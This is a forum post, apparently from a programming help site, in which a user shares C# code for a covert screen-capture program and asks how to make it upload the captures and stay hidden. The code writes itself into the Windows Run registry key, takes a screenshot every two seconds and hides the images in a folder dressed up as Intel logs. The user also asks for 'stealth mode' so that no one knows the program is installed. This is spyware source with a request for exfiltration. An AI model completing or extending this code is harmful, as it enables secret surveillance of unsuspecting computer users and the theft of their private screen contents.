Hi there. I have this code currently that takes screenshots every 2 seconds and saves them to a hidden folder. I would like to implement a way for my program to then take these files and upload them to a cloud. Or maybe it can put the files in a zip folder every so often then send that folder in an email and repeat, but I don't know how well that would work.
Overall though I need it so that the program continues to run in stealth mode so that no one knows it's installed on the computer. Is there a way to do this? If so, could someone please help me and explain to me how to do so? Thank you all so much!
Here is my code so far:
- using System;
- using System.Threading;
- using System.Reflection;
- using System.IO;
- using System.Drawing;
-
- namespace chrome
- {
- static class Program
- {
- static void Main()
- {
-
- try
- {
- Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- Assembly curAssembly = Assembly.GetExecutingAssembly();
- key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
- Console.WriteLine(curAssembly.GetName());
-
- }
- catch (Exception e)
- {
- Console.WriteLine("show1:" + e.Message);
- }
-
-
-
- int n = 0;
- while (n == 0)
- {
- try
- {
-
- OnTimedEvent();
- Thread.Sleep(2000);
- }
- catch (Exception e)
- {
- Console.WriteLine("show2:" + e.Message);
- }
-
-
- }
- }
-
- public static string st = "";
- public static string date = "";
- public static string month = "";
- public static string year = "";
- public static string time = "";
- public static string hour = "";
- public static string min = "";
- public static string sec = "";
-
-
- private static void OnTimedEvent()
- {
- st = DateTime.Today.Date.ToString();
- time = DateTime.Now.TimeOfDay.ToString();
-
- hour = DateTime.Now.Hour.ToString();
- min = DateTime.Now.Minute.ToString();
- sec = DateTime.Now.Second.ToString();
-
- date = DateTime.Today.Day.ToString();
- month = DateTime.Today.Month.ToString();
- year = DateTime.Today.Year.ToString();
-
- Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
-
- Bitmap memoryImage;
- memoryImage = new Bitmap(1366, 768);
- Size s = new Size(memoryImage.Width, memoryImage.Height);
-
-
- Graphics memoryGraphics = Graphics.FromImage(memoryImage);
-
- memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
- string str = "";
-
-
- if (Directory.Exists("C:\\Intel\\Logs\\dsp"))
- {
- Console.WriteLine("directory exits");
- }
- else
- {
- Directory.CreateDirectory("C:\\Intel\\Logs\\dsp");
- File.SetAttributes("C:\\Intel\\Logs\\dsp", FileAttributes.Hidden);
- Console.WriteLine("new directory created");
- }
-
-
- str = string.Format("C:\\Intel\\Logs\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);
-
-
-
- try
- {
- memoryImage.Save(str);
- }
- catch (Exception er)
- {
- Console.WriteLine("Sorry, there was an error: " + er.Message);
- }
- }
- }
- }
-
-